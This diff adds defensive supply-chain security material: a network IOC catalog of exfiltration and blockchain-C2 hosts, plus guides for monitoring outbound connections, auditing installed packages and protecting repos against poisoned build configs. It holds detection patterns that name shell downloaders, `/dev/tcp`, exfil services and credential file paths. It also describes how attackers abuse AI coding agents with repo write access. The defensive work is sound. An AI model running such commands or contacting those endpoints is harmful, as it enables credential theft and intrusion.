+      "id": "SHAI-HULUD-EXFIL",
+      "name": "Shai-Hulud worm exfil endpoint",
+      "severity": "critical",
+      "citation": "Shai-Hulud npm worm (Sept 2025 wave) exfiltrated stolen credentials to attacker-created webhook.site URLs; widely documented in vendor analyses of the campaign.",
+      "domains": ["webhook.site"],
+      "ips": []
+    },
+    {
+      "id": "ANON-EXFIL-SERVICES",
+      "name": "Anonymous request-capture / OOB-interaction services",
+      "severity": "high",
+      "citation": "Zero-setup HTTP capture endpoints (legitimate testing tools) routinely abused by stealers as exfil drops. A developer workstation initiating connections to these unprompted is a strong signal.",
+      "domains": [
+        "requestbin.com",
+        "pipedream.net",
+        "oastify.com",
+        "oast.fun",
+        "interact.sh",
+        "burpcollaborator.net",
+        "canarytokens.com"
+      ],
+      "ips": []
+    },
+    {
+      "id": "ETHERHIDING-BLOCKCHAIN-C2",
+      "name": "EtherHiding blockchain-C2 dead-drop (explorer APIs + public RPC)",
+      "severity": "high",
+      "category": "blockchain-c2",
+      "citation": "PolinRider / EtherHiding (DPRK UNC5342 / Lazarus-aligned). Google GTIG documented UNC5342 reading XOR/Base64 payloads from BNB Smart Chain + Ethereum smart contracts via centralized blockchain EXPLORER APIs (Ethplorer, Blockchair, Blockcypher, Binplorer) using read-only eth_call (no on-chain transaction, no gas). The campaign and copycats also read from public RPC nodes (TronGrid, BSC dataseed, Aptos fullnodes, Cloudflare/Ankr/Infura ETH). https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding . NOTE: these hosts are dual-use — legitimate on a genuine web3/dApp project. An outbound connection from a BUILD process (node_modules child, vite/webpack), or on a project that is not web3, is the signal. Also consumed by config-drift-check.py (the build-config dead-drop check) in addition to phone-home-monitor.ps1.",
+      "domains": [
+        "api.ethplorer.io",
+        "ethplorer.io",
+        "api.blockchair.com",
+        "blockchair.com",
+        "api.blockcypher.com",
+        "blockcypher.com",
+        "binplorer.com",
+        "api.trongrid.io",
+        "trongrid.io",
+        "apilist.tronscanapi.com",
+        "bsc-dataseed.bnbchain.org",
+        "bsc-dataseed.binance.org",
+        "bsc-dataseed1.binance.org",
+        "bsc-dataseed1.bnbchain.org",
+        "api.bscscan.com",
+        "fullnode.mainnet.aptoslabs.com",
+        "api.mainnet.aptoslabs.com",
+        "cloudflare-eth.com",
+        "eth.llamarpc.com",
+        "rpc.ankr.com",
+        "mainnet.infura.io"
+      ],
+      "ips": []
+    }
+  ]
+}

+ 107 - 0
skills/supply-chain-defense/references/phone-home-monitoring.md

@@ -0,0 +1,107 @@
+# Phone-home monitoring — watching outbound connections on a dev workstation
+
+The gap this closes: every other control in this skill fires at *install time*
+(cooldown, behavioural score, lifecycle-script interception) or at *rest*
+(exposure-check, integrity-audit). None of them watches what already-running code
+**does on the network**. A credential stealer that landed before the controls were
+wired — or that slipped past them — does its damage as an *outbound connection*:
+the Shai-Hulud family steals credentials and then phones home (the Sept 2025 wave
+exfiltrated to attacker-created `webhook.site` URLs). Outbound monitoring is the
+last tripwire, and the one that works even when you don't know what landed.
+
+`scripts/phone-home-monitor.ps1` is the operational tool. This reference is the
+tooling evaluation behind it and the wiring guide for the preferred capture source.
+
+## Tooling evaluation (tool-first: what already exists)
+
+| Source | What it gives | Cost / friction | Verdict |
+|---|---|---|---|
+| **Sysmon Event ID 3** + curated config | Every TCP/UDP connect event, with image path, PID, user, destination IP **and resolved hostname**, kernel-side — nothing is missed | One elevated install; config tuning decides noise | **Preferred.** Install with a community-tuned config (below) rather than writing rules from scratch |
+| **WFP audit (Event 5156)** | Every allowed connection via Windows Filtering Platform — built-in, no install | Enormous volume (all loopback + inbound too), no hostname, audit policy churns the Security log | Viable fallback where Sysmon is prohibited; too noisy as a default |
+| **`Get-NetTCPConnection` polling** | Current TCP table + owning PID — zero install, works everywhere | Polling: connections shorter than the interval are missed; no UDP remote | **Default source** for the script because it needs nothing; honest about its blind spot |
+| **Wireshark / tshark** | Full packet capture | Heavy install, no process attribution without extra correlation | Forensics tool, not a monitor — use during an incident, not continuously |
+| **Firewall logging** (`Set-NetFirewallProfile -LogAllowed True`) | pfirewall.log of allowed/blocked flows | No process attribution in the log; W3C text parsing | Cheap corroboration only |
+| Commercial EDR / Little-Snitch-class agents (Portmaster, Safing) | Per-app prompts, allow/deny | Another agent, another supply chain | Out of scope for this skill's $0 posture; consider independently |
+
+**Decision:** wire **Sysmon with the SwiftOnSecurity config** as the continuous
+source (it ships sane Event ID 3 filters that exclude known-chatty Windows
+processes), and use the script's TCP-table polling as the zero-install default
+until that's done. The script consumes either: `-Sysmon` reads EID 3; default mode
+polls. `-Status` tells you which sources are live on the host.
+
+## Wiring Sysmon (one-time, elevated)
+
+```powershell
+winget install Microsoft.Sysinternals.Sysmon
+curl -o sysmonconfig.xml https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml
+sysmon64 -accepteula -i sysmonconfig.xml
+```
+
+- Config alternatives: `olafhartong/sysmon-modular` (finer-grained, MITRE-mapped)
+  if SwiftOnSecurity's defaults prove too quiet or too loud for this machine.
+- Verify: `phone-home-monitor.ps1 -Status` → `sysmon_eid3: available`.
+- Then prefer `phone-home-monitor.ps1 -Sysmon -MaxEvents 500` for review passes —
+  it sees the short-lived connections polling misses, and EID 3 carries
+  `DestinationHostname` so IOC domain matching works without a DNS-cache hit.
+- Update cadence: Sysmon itself via winget; re-check the config repo occasionally
+  (it is versioned, changes are reviewable diffs).
+
+## What the script flags (rules → severity)
+
+| Rule | Signal | Severity |
+|---|---|---|
+| `ioc-endpoint` | Destination hostname/IP matches `assets/network-ioc.json` (webhook.site = the cited Shai-Hulud exfil endpoint; plus anonymous request-capture services) | high |
+| `suspicious-path` | The connecting binary lives under `node_modules`, `AppData\Local\Temp`, `npm-cache`, `Windows\Temp` | high |
+| `package-manager-child` | Parent chain contains npm/pnpm/yarn/bun/pip/uv/cargo/composer/gem — lifecycle-script behaviour | high |
+| `young-domain` | (`-CheckDomainAge`, network) RDAP registration < 30 days | high |
+| `interpreter-raw-ip` | node/python/deno/bun connecting to a raw public IP with no DNS name in the client cache | medium |
+| `unsigned-userland` | Unsigned binary in a user-writable path making outbound connections | medium |
+| `interpreter-outbound` | Any other interpreter outbound connection (informational — dev servers do this constantly) | low |
+
+Exit `10` on any **medium+** finding; `-Strict` counts `low` too. Loopback and
+RFC1918 destinations are skipped except for IOC matching. The catalog is meant to
+be extended from advisories exactly like `exposure-catalog.json`.
+
+## Continuous capture (the daemon question)
+
+Three tiers, cheapest first:
+
+1. **On-demand snapshot** — run the script when something feels off (the gsudo-class
+   "unexplained prompt" moment): `phone-home-monitor.ps1` or `-Sysmon`.
+2. **Watch mode** — `-Watch -IntervalSeconds 30` polls continuously, dedupes by
+   (pid, raddr, rport), and appends medium+ findings to a ring-buffer JSONL log
+   (`%LOCALAPPDATA%\supply-chain-defense\phone-home.jsonl`, 10 MB × 2 files).
+3. **Scheduled task** — `-InstallTask` registers a logon task running watch mode
+   hidden for the current user (`-UninstallTask` removes it). With Sysmon wired,
+   the task is belt-and-braces: Sysmon records everything regardless; the task
+   gives you the *triage* layer continuously.
+
+Review the log with: `Get-Content $env:LOCALAPPDATA\supply-chain-defense\phone-home.jsonl | ConvertFrom-Json`
+or `jq -s 'group_by(.rule) | map({rule: .[0].rule, n: length})' phone-home.jsonl`.
+
+## Triage — a finding is not yet an incident
+
+1. **Identify the process**: is it something you launched (dev server, test run)?
+   `interpreter-outbound` low-severity findings are usually exactly that.
+2. **Check the parent chain**: `package-manager-child` during an `npm install` you
+   just ran is *expected* (that's what lifecycle scripts do) — the question is
+   whether the destination makes sense for the package.
+3. **IOC hit or suspicious-path hit you can't explain** → treat as an incident:
+   disconnect, `integrity-audit.sh` (persistence hooks), `exposure-check.py`
+   (named-bad packages), rotate every credential the process could read
+   (`~/.npmrc`, `~/.aws`, gh tokens, SSH keys), then investigate the binary.
+4. **Capture before you kill**: note PID, path, and remote endpoint; if Sysmon is
+   wired the history is already in the event log.
+
+## Known limitations (honest list)
+
+- TCP-table polling misses connections shorter than the interval — that is the
+  argument for Sysmon, restated. UDP remotes aren't visible in polling mode at all.
+- DNS-cache hostname mapping is best-effort: a stealer using DoH or hardcoded IPs
+  shows as `interpreter-raw-ip` (which is itself the signal).
+- `-CheckDomainAge` uses naive registrable-domain extraction (last two labels) —
+  `foo.co.uk`-style names resolve to `co.uk` and return no age. Advisory only.
+- Signing status of a process whose binary was deleted after launch reads
+  `unknown` — suspicious in itself when combined with other signals.
+- A kernel-level or already-elevated implant can evade any user-mode monitor; this
+  is a tripwire for the commodity-stealer class, not an EDR replacement.

+ 147 - 0
skills/supply-chain-defense/references/postinstall-audit.md

@@ -0,0 +1,147 @@
+# Post-install behavioural audit — closing the on-disk gap
+
+The pre-install controls in this skill (the `socket` wrapper, `preinstall-check.sh`
+cooldown, the install-scan hook) all act **before** a package executes. They are the
+right primary defence, but each has a miss case:
+
+- The cooldown is **fooled by tag-rewrite** attacks (Laravel-Lang): the poisoned
+  artifact carries an *aged* version number, so "released >7 days ago" passes.
+- The `socket` wrapper only covers installs **routed through it** — a manual
+  `npm install`, a CI step, or an editor's "install dependencies" prompt bypasses it.
+- Behavioural scanners can miss a version **published seconds ago** that the engine
+  hasn't analysed yet.
+
+When any of those misses, the malware is already in `node_modules` / `site-packages`.
+`scripts/postinstall-audit.py` is the **after-the-fact** sweep for exactly that state —
+it scans what actually landed on disk for the behaviours the 2026 worms exhibit, rather
+than asking a registry whether a name is known-bad.
+
+## What it flags
+
+Per package, grouped so a single weak signal never fires alone (real `node_modules`
+trees are full of `eval` and base64 — see the false-positive note below):
+
+| Finding | Severity | Signal |
+|---|---|---|
+| `lifecycle-shell` | high | a `preinstall`/`install`/`postinstall`/`prepare` script that spawns a shell or downloader (`curl … \| sh`, `powershell iwr`, `node -e`, `certutil`, `/dev/tcp`) |
+| `cred-exfil` | high | a credential-path read (`.npmrc`, `.aws/credentials`, `.claude/`, browser `Login Data`, SSH keys) **+** an exfil endpoint in the same package |
+| `env-exfil` | high | `JSON.stringify(process.env)` / `dict(os.environ)` **+** an exfil endpoint |
+| `registry-unpublished` | high | (`--live`) a flagged npm version the registry no longer serves — a takedown IOC |
+| `obfuscation` | medium | `_0x…` hex-identifier obfuscation, long `\x..` runs, `marshal.loads`, `zlib.decompress(base64…)` in **non-minified** source |
+| `persistence-write` | medium | references to agent/editor settings (`.claude/settings`, `mcpServers`, `…\Run`) paired with a payload marker |
+| `modified-after-install` | medium | newest file mtime postdates the `node_modules/.package-lock.json` install marker by >2 min — tamper after extraction |
+| `lifecycle-present` | low | a lifecycle script on a package not on the known-benign allowlist (informational) |
+| `cred-path-reference` | low | credential paths referenced without a paired network sink |
+| `eval-base64` | low | `eval`/`Function` **and** base64 decode co-occurring in one small non-minified file |
+
+"Exfil endpoint" = `webhook.site`, Discord/Telegram webhooks, paste sites,
+`transfer.sh`, OAST/interactsh collaborators, or a raw-IP URL.
+
+Default `--min-severity medium` reports the high/medium tiers and stays silent on the
+low informational ones. Drop to `--min-severity low` (or use `--json`) to see everything.
+
+### The false-positive lesson (why combos, not singletons)
+
+An earlier cut flagged `eval` + base64 as **high**. On a real tree that lit up
+`three.js`, `vite`, and `source-map-js` — all legitimate: bundlers, source-map VLQ
+codecs, and wasm loaders use both constantly. Singleton behavioural greps do not work on
+`node_modules`. The scanner therefore requires a **two-signal combo** for every
+high/medium finding (credential-read **and** network sink; env-harvest **and** network
+sink), and demotes the eval+base64 co-occurrence to a sub-threshold `low`. This mirrors
+the `scan-extensions.sh` lesson recorded in the threat model: grep heuristics on minified
+bundles produce false-cleans and false-alarms in equal measure — the value is in
+co-occurrence and recency, not any one pattern.
+
+## Incremental cache (daily-runnable)
+
+Every package is fingerprinted by `(name@version, file-count, total-size, max-mtime)`.
+A re-run reads the cache (`%LOCALAPPDATA%\supply-chain-defense\postinstall-audit-cache.json`
+on Windows, `$XDG_CACHE_HOME` / `~/.cache` elsewhere) and **only rescans packages whose
+fingerprint changed**. On a stable tree the second run is near-instant. `--no-cache`
+forces a full scan; `--cache PATH` points at an alternate file (used by the test suite).
+
+The cache stores the *findings*, not just a clean/dirty bit, so a cached hit still reports
+its findings — the cache speeds the scan, it does not hide results.
+
+## Exit codes
+
+| Code | Meaning |
+|---|---|
+| 0 | clean — no findings at/above `--min-severity` |
+| 2 | usage error (bad flag, no existing root) |
+| 3 | no root directory exists |
+| 5 | `--deep` requested but GuardDog/semgrep absent → **loud skip, heuristics still ran** (never a silent false-clean) |
+| 7 | `--live` only: the registry was unreachable (advisory, not a finding) |
+| 10 | one or more findings at/above `--min-severity` |
+
+`7` is deliberately distinct from `10`: a network blip during `--live` must never read as
+"package is bad". This is the same staleness-verifier discipline as §7 of
+`docs/SKILL-RESOURCE-PROTOCOL.md`.
+
+## --deep (GuardDog confirmation)
+
+`--deep` runs GuardDog's AST/semgrep rules against each *flagged* package to corroborate
+the heuristic verdict. It is **on-demand**: if `guarddog`+`semgrep` aren't on PATH the
+script logs a loud one-line skip and the recommended install (`uv tool install guarddog
+semgrep`) rather than pretending it ran. On Windows the script sets `PYTHONUTF8=1` for the
+GuardDog subprocess — without it GuardDog silently exits "0 indicators" (a false-clean,
+the gotcha recorded in `references/tooling-landscape.md`).
+
+## --live (registry takedown check)
+
+`--live` asks `registry.npmjs.org` whether each *flagged* npm `name@version` still exists.
+A `404` means the version was unpublished — a strong post-compromise IOC (the registry
+took it down). Network failures mark the package `unavailable` and the run exits `7`, not
+`10`.
+
+## Existing-tool evaluation (tool-first)
+
+Per the user's tool-first rule, this was weighed against off-the-shelf options before
+building:
+
+| Tool | Fit for the on-disk post-install gap | Verdict |
+|---|---|---|
+| **GuardDog** (`guarddog npm scan <dir>`) | Strong AST/semgrep behavioural rules, the gold standard for *one* package | **Integrated, not replaced** — `--deep` shells out to it for confirmation. It has no incremental cache, no whole-tree sweep, no tamper/mtime check, and on Windows silently false-cleans without `PYTHONUTF8=1`; this script provides the cheap always-on layer and calls GuardDog for depth. |
+| **OSV-Scanner** | Excellent CVE/advisory breadth against lockfiles | Wrong layer — advisory-driven, the exact gap this skill exists to cover. Complementary (run both), not a substitute for behaviour. |
+| **Socket** | Best-in-class behavioural scoring | Pre-install / registry-side; needs the package queried through Socket. This covers what's *already unpacked locally*, offline, no account. |
+| **Sandworm / lockfile-lint / npq** | Pre-install gates (audit, lockfile host validation, install prompts) | All pre-install; none scan unpacked on-disk content after the fact. |
+
+The conclusion: nothing battle-tested does *incremental, offline, whole-tree, behavioural*
+post-install scanning with tamper detection. GuardDog is the closest and is wired in as the
+`--deep` confirmation engine rather than reimplemented.
+
+## Scheduling — run it daily
+
+### Windows Task Scheduler
+
+```powershell
+$py  = (Get-Command python).Source
+$arg = '"C:\Users\Mack\.claude\skills\supply-chain-defense\scripts\postinstall-audit.py"' +
+       ' --root X:/Forge --root X:/DnD --root X:/Forma --root X:/Homelab --root X:/Lab' +
+       ' --json'
+$action  = New-ScheduledTaskAction -Execute $py -Argument $arg `
+            -WorkingDirectory "$env:USERPROFILE"
+$trigger = New-ScheduledTaskTrigger -Daily -At 9am
+Register-ScheduledTask -TaskName "supply-chain postinstall-audit" `
+  -Action $action -Trigger $trigger -Description "Daily on-disk behavioural dep scan"
+```
+
+The cache makes the daily run cheap; redirect `--json` stdout to a dated log and alert on
+exit `10`.
+
+### Claude Code cron (`/schedule`)
+
+A scheduled cloud/local agent can run `postinstall-audit.py --json --findings-only` on the
+active project roots and surface exit `10` as an issue. The script's stable `--json`
+envelope (`{data:{findings,packages}, meta:{count,…}}`) is built for that consumption.
+
+## When a finding fires
+
+Treat a high finding as an incident, in the order the threat model prescribes:
+
+1. **Isolate** — don't run the project; the payload executes on `node`/`python` invocation.
+2. **Identify** — `--json` gives the exact file and package path; read the flagged file.
+3. **Rotate** — if it read credential paths, assume they leaked; rotate every reachable token.
+4. **Confirm + remove** — `--deep` for a GuardDog second opinion, `exposure-check.py` to see
+   whether the same package is on other machines, then remove and reinstall from a clean,
+   cooldown-aged version.

+ 305 - 0
skills/supply-chain-defense/references/repo-integrity.md

@@ -0,0 +1,305 @@
+# Repo Integrity — defending trusted repos against config-as-code poisoning
+
+The sibling of [`threat-model.md`](threat-model.md)'s dependency-integrity story.
+Everything else in this skill asks *"is a package I pull malicious?"* This file
+asks the question the PolinRider / EtherHiding campaign forced into scope:
+**"is a repo I already own and push to being poisoned in place — and would I even
+notice?"**
+
+This is a **distinct detection surface**. The behavioural dependency scanners
+(Socket, depscore, the cooldown gate, `exposure-check.py`, `postinstall-audit.py`)
+are structurally blind to it: the malicious code never enters as a package. It is
+committed — by an attacker-controlled push — into your own `vite.config.js`,
+`tailwind.config.js`, or `.vscode/tasks.json`. The on-disk detector is
+[`scripts/config-drift-check.py`](../scripts/config-drift-check.py); the controls
+that *prevent* and *attribute* it are below.
+
+## The kill chain, and where each control bites
+
+PolinRider (DPRK UNC5342 / Lazarus-aligned, ~1,951 repos by Apr 2026; the EtherHiding
+technique is documented by Google GTIG) runs in four stages. Map a control to each —
+no single one is sufficient.
+
+| Stage | What the attacker does | Control that bites here |
+|---|---|---|
+| **1. Initial access** | Poisoned fork / fake take-home interview repo (Contagious Interview / BeaverTail lure); malicious `.vscode/tasks.json` auto-running on `folderOpen`; booby-trapped `.woff2` font (parser exploit) | **Disposable environment** for untrusted repos (devcontainer / throwaway VM / Codespace); **VS Code Workspace Trust** enforced + **auto-run tasks disabled** |
+| **2. Build-time execution** | Appends an obfuscated blockchain-C2 loader to build config (`vite.config.js`, `tailwind.config.js`); on build, reads a payload from a blockchain dead-drop (EtherHiding), XOR-decrypts, runs it | **`config-drift-check.py`** as a pre-commit hook + CI gate (catches the appended/obfuscated/eval/XOR/blockchain-RPC blob); **build isolation** (ephemeral CI container, no standing secrets) |
+| **3. Credential theft** | INVISIBLEFERRET RAT steals credentials / keys / wallets from the host | **Hardware-backed keys** (Secure Enclave / YubiKey) so a RAT with filesystem read *cannot* exfiltrate the signing/SSH key; no plaintext long-lived tokens on disk |
+| **4. Git cover-up & propagation** | Injects config files into every repo the machine can push to and **force-pushes**, preserving the original author + date (backdating → false-flag) | **Branch protection / rulesets**: block force-push, require PRs, require status checks, **require signed commits**; **server-side push-log** as ground truth; **no shared/standing keys** to bound blast radius |
+
+## 1. Keys: no shared, no standing, hardware-backed
+
+The single fact that turned one infected laptop into a 22-repo breach in a reported
+incident was a **shared, long-lived devops deploy key with write access to
+everything**. Fix the key model and you cap the blast radius before any detection
+fires.
+
+- **No shared keys.** Every human and every automation gets its own credential.
+  A shared key means one compromise = everyone's access, and the audit log can't
+  tell you *who*.
+- **No standing write access.** Prefer short-lived, per-job credentials (OIDC, GitHub
+  App installation tokens scoped to one repo) over a long-lived deploy key that sits
+  on a developer's disk for a year. Deploy keys are per-repo by design — a deploy key
+  reused across many repos is the anti-pattern; a fine-grained PAT or App token scoped
+  to exactly what a job needs is the replacement.
+- **Least privilege.** A CI job that deploys does not need push access to source. Split
+  read/deploy from write.
+- **Hardware-backed signing + SSH keys.** This is the control that specifically
+  defeats Stage 3. A key whose **private half lives in a Secure Enclave / TPM /
+  YubiKey** cannot be read off disk by a RAT that has filesystem access — the RAT can
+  never exfiltrate the key for offline reuse. **But residence alone does not stop
+  *live abuse*:** a RAT on an unlocked machine can ask the Secure Enclave / token to
+  sign *on its behalf* if signing is configured for convenience (cached agent, no
+  per-use prompt). The load-bearing setting is **require a physical touch per
+  signature** (YubiKey touch policy; Secretive's per-use Touch ID) — so the attacker
+  can sign at most when it can induce a touch, one at a time and noisily, never 22
+  repos silently. Hardware-without-touch reduces the *theft* risk but not the
+  *silent-mass-signing* risk.
+  - **macOS:** [Secretive](https://github.com/maxgoedjen/secretive) stores SSH keys in
+    the Secure Enclave; commit-signing can use an SSH key (`gpg.format = ssh`,
+    `user.signingkey` pointing at the Secure-Enclave public key). A non-Enclave option
+    is a YubiKey via PIV/FIDO2.
+  - **Cross-platform:** a **YubiKey** (or any FIDO2/PIV hardware token) holds the SSH
+    auth key and the signing key; the private material never leaves the token.
+  - The point is the *threat model*, not the brand: filesystem-read by malware must not
+    equal key compromise.
+
+## 2. Branch protection / rulesets — and why *signed commits* defeat Stage 4 (with one big caveat)
+
+Configure on every protected branch (classic **branch protection** or the newer
+**repository rulesets**, which can apply org-wide):
+
+- **Block force-pushes** to protected branches. Stage 4 *is* a force-push; this denies
+  the propagation primitive outright. (Rulesets: "Restrict force pushes"; branch
+  protection: "Do not allow force pushes".)
+- **Require a pull request before merging** — no direct pushes to `main`, so an
+  injected commit must survive review and checks instead of landing silently.
+- **Require status checks to pass** — wire `config-drift-check.py` as one of them
+  (see §5), so a poisoned config fails CI before merge.
+- **Require signed commits** — *this is the one that specifically defeats the
+  backdated false-flag*.
+
+### Why signed commits specifically defeat the backdating cover-up
+
+Stage 4's trick is to force-push commits that **preserve the original author name and
+an old author date**, so `git log` shows a malicious change attributed to an innocent
+teammate at an innocent time. Two facts collapse that trick:
+
+1. **A deploy key (or any transport credential) authenticates the *push*, not the
+   *commit*.** SSH deploy keys, HTTPS tokens, and App tokens prove "this connection is
+   allowed to write here." They say nothing about who *authored* the commit and they
+   do **not** sign it. A commit pushed over a deploy key arrives **unsigned**.
+2. **Commit author name + date are free-text fields the committer fully controls.** A
+   signature is not — it is a cryptographic binding to a key. Forging the author
+   metadata is trivial; forging a *valid signature from a hardware key the attacker
+   can't read* is not — **provided** the attacker also can't simply register their own
+   key to the account (see the takeover caveat below; this is why hardware keys alone
+   are not the whole story).
+
+So with **require-signed-commits** on:
+
+- The RAT can backdate and re-author all it likes, but the commits it pushes are
+  **unsigned** → branch protection **rejects the push**. The propagation primitive
+  fails at the gate.
+- If the attacker forges author metadata *without* a matching signature, GitHub renders
+  the commit **"Unverified"** — the false-flag is visibly broken rather than
+  convincingly attributed.
+- The legitimate developer's signing key is **hardware-backed** (§1), so the RAT can't
+  steal it to produce *signed* malicious commits. The two controls compose: hardware
+  key (can't be stolen) + require-signed-commits (unsigned is rejected) = backdated
+  false-flag commits cannot land on a protected branch.
+
+Caveat: require-signed-commits protects the **protected branch**. Commits on feature
+branches / forks can still be unsigned; the PR-required + status-check rules are what
+stop an unsigned, drift-flagged commit from reaching `main`. Enable **vigilant mode**
+on developer accounts so *all* their commits display a verification state and a forged
+"Unverified" stands out.
+
+### The bypass this control does *not* survive on its own — account takeover
+
+Do not over-trust signed commits. The reasoning above holds only while the attacker
+is **outside the victim's GitHub account**. But Stage 3 steals *everything on the
+host* — including the browser session cookie, OAuth tokens, and personal access
+tokens for GitHub itself. With a stolen token, the RAT is **inside the account**, and:
+
+- It can **register a new SSH/GPG signing key to the victim's GitHub account**, then
+  sign its backdated commits with that key. GitHub verifies a signature against the
+  keys on the account that pushed it — so a commit signed by the attacker's freshly
+  added key renders as **"Verified," attributed to the victim**. Require-signed-commits
+  passes. The false-flag is now *cryptographically* convincing, not visibly broken.
+- With an **org-admin** token it can disable the ruleset, push, and re-enable it.
+
+So *require-signed-commits is necessary but not self-sufficient*. It defeats the
+deploy-key-only attacker; it does **not** defeat the attacker who also holds a GitHub
+credential — which this campaign explicitly harvests. The companion controls that
+close the gap are non-optional:
+
+- **Phishing-resistant MFA (passkeys / hardware security keys) on GitHub, npm, and
+  cloud accounts.** This is the foundation the whole signed-commit story rests on —
+  it raises the cost of the account takeover that would otherwise nullify it.
+- **Real-time alerting on account-integrity events** (§3): a *new signing/SSH key
+  registered*, a *ruleset / branch-protection change*, a *new PAT or OAuth grant*.
+  These are the events that betray a token-theft takeover even when the resulting
+  commits look perfectly "Verified." A new key appearing on an account minutes before
+  a backdated commit lands is the tell that the signature itself cannot give you.
+
+## 3. The audit log is ground truth — git dates are not
+
+Git's author date and committer date are **attacker-controlled strings**. A commit
+"backdated to March" is one `GIT_AUTHOR_DATE` away. What the attacker **cannot** forge
+is the server-side record of *when the push actually happened*:
+
+- **GitHub's push event** (Audit log / `git.push`, the events API, branch "pushed N
+  minutes ago", `PushEvent` timestamps) is recorded server-side and immutable to the
+  pusher. A commit whose *author date* is weeks old but whose *push timestamp* is now
+  is a backdating IOC.
+- **Alert on force-pushes** to protected branches (Audit log streaming → SIEM, or a
+  webhook on `push` with `forced: true`). Stage 4 always force-pushes.
+- **Alert on account-integrity events** — a **new SSH/GPG key registered**
+  (`public_key.create`), a **ruleset / branch-protection change**
+  (`repository_ruleset.update`, `protected_branch.*`), a **new PAT or OAuth grant**.
+  These betray the account takeover that would otherwise let an attacker mint a
+  "Verified" signature (see §2's takeover caveat) — they are the signal the signature
+  itself cannot give you.
+- **Alert on out-of-hours / anomalous pushes** — a force-push at 03:00 from an account
+  that normally opens PRs is signal even before you read the diff.
+- **Stream the audit log off-platform to an immutable store.** GitHub-side retention
+  is finite and an account-takeover attacker may tamper within the window; a copy in a
+  SIEM / log sink the pusher can't reach is the durable ground truth.
+- When triaging a suspected false-flag commit, **trust the push-event timestamp and the
+  signature state, not `git log --date`.** "It says March, but it was pushed in April
+  and it's unsigned" is the tell.
+
+GitHub Enterprise / org audit-log streaming makes this durable; for smaller setups a
+`push` webhook into any log sink, or periodic `gh api` polling of the events endpoint,
+covers it.
+
+## 4. Isolation — untrusted code and the build both get walls
+
+- **Disposable environments for untrusted repos.** A fork, a candidate's take-home, or
+  anything external is opened in a **devcontainer / throwaway VM / Codespace**, never
+  in your primary checkout with your keys mounted. This is the direct counter to Stage
+  1: the malicious `.vscode/tasks.json` or `.woff2` detonates in a container with no
+  credentials and no push access, then is destroyed.
+- **Build isolation.** Builds run in **ephemeral CI containers with no standing
+  secrets** — secrets are short-lived, scoped, and injected per-job, so a build-time
+  loader (Stage 2) that does fire finds nothing durable to steal and cannot push
+  anywhere. Pair with egress control (e.g. Harden-Runner) so a build reaching out to a
+  blockchain explorer API / RPC node is *blocked and logged*, not silently allowed.
+- **No mounting your real `~/.ssh`, `~/.aws`, or `~/.claude` into a container that runs
+  untrusted code.**
+- **Agentic dev tooling is a force-multiplier — scope it.** An AI coding agent (Claude
+  Code, etc.) with repo write access and the ability to run build commands is exactly
+  the capability this attack abuses: it reads and writes across many repos and executes
+  code. Agents should hold **no standing credentials**, run with **sandboxed
+  file/network/exec scope**, and have their repo writes pass the **same signing + review
+  gates as a human's** — an agent push is not a trusted push.
+
+## 6. Containment — the real blast radius is everyone who *built* it
+
+When a poisoned repo is found, the instinct is "scrub the commits, revoke the key." That
+under-scopes it. The Stage-2 payload activates **on build** — so anyone who *pulled and
+built* a poisoned repo ran the loader and is now potentially infected. The reported
+blast radius was not "22 repos"; it was "every machine that built any of those 22 repos."
+Containment must therefore:
+
+- **Trace and re-image every machine that built a poisoned repo**, not just the
+  originally-infected host.
+- **Rotate every credential the infected machine(s) could read** — not just the deploy
+  key: npm tokens, cloud keys, SSH keys, `.env` secrets, **GitHub session tokens / PATs**
+  (the ones that enable the §2 takeover), and any wallet material.
+- **Audit what shipped to customers** during the injection window — if a poisoned build
+  artifact was published or deployed, the internal incident is now a *downstream*
+  supply-chain incident. Build provenance / artifact attestation (SLSA, GitHub Artifact
+  Attestations) is what lets you answer this with confidence.
+- **Establish a signed baseline** of the config files so re-injection is immediately
+  visible on the next `config-drift-check.py` run.
+
+## 5. VS Code Workspace Trust + auto-run tasks
+
+Stage 1's quietest vector is `.vscode/tasks.json` with
+`"runOptions": {"runOn": "folderOpen"}` — a task that executes the moment you open the
+folder, before you read a line of code.
+
+- **Keep Workspace Trust enabled** (`security.workspace.trust.enabled: true`, the
+  default). An **untrusted** (Restricted Mode) folder will **not auto-run tasks**,
+  won't run debug configs, and disables workspace-scoped settings that could launch
+  code. Open anything external as *untrusted* first.
+- **`task.allowAutomaticTasks: off`** (the default is `off`) so folder-open tasks never
+  auto-run even in a trusted folder without an explicit "Allow Automatic Tasks".
+- Treat a repo that *ships* a `folderOpen` task as suspicious until you've read it —
+  `config-drift-check.py` flags `tasks.json` auto-run entries.
+- Don't blanket-trust parent folders (`security.workspace.trust.untrustedFiles` /
+  trusted-folders list) — that re-enables auto-run for everything underneath.
+
+## The pre-commit + CI detector
+
+[`scripts/config-drift-check.py`](../scripts/config-drift-check.py) is the on-disk half
+of this defense. It scans a repo's build-config and editor-task files for the Stage 2
+injection signatures — appended/obfuscated/minified blobs, new `eval` / `new Function`
+/ Buffer-XOR / dynamic-require / outbound-fetch code, blockchain explorer-API / RPC
+dead-drop endpoints, and `tasks.json` `runOn: folderOpen` auto-run — and exits **10**
+on a finding. Wire it both as a **pre-commit hook** (catch it before it's committed)
+and as a **CI status check** (catch a force-pushed injection at the gate):
+
+```bash
+# pre-commit (.git/hooks/pre-commit or a pre-commit framework hook)
+python skills/supply-chain-defense/scripts/config-drift-check.py --staged || exit 1
+
+# CI step (fails the job on a finding; --json for a machine-readable report)
+python config-drift-check.py --root . --json
+```
+
+It is zero-dependency (Python stdlib) and read-only. A finding is an incident: read the
+flagged file, check the commit's signature + server-side push timestamp (§3), and
+rotate any credential the build could have touched.
+
+**Treat it as one signal, not the fix.** It is a heuristic scanner, and a determined
+adversary evades heuristics: the payload can be **obfuscated to read like a plausible
+plugin import**, **hidden in a local module the config merely `require()`s** (dodging a
+config-file-only scan), or **split across files**. This skill already learned the limit
+of grep-style heuristics on obfuscated/minified code (the `scan-extensions` experience —
+both false positives and evasion). Its real value is raising the attacker's cost and
+catching the un-obfuscated majority; the controls that *don't* depend on out-guessing the
+obfuscator are the deterministic ones — **egress-denied builds** (a build that can't
+reach the dead-drop can't fetch the payload) and **touch-to-sign keys**. Pair them; do
+not lean on the scanner alone.
+
+## Checklist
+
+- [ ] No shared deploy keys; no long-lived standing write credentials (per-user /
+      per-job, least privilege)
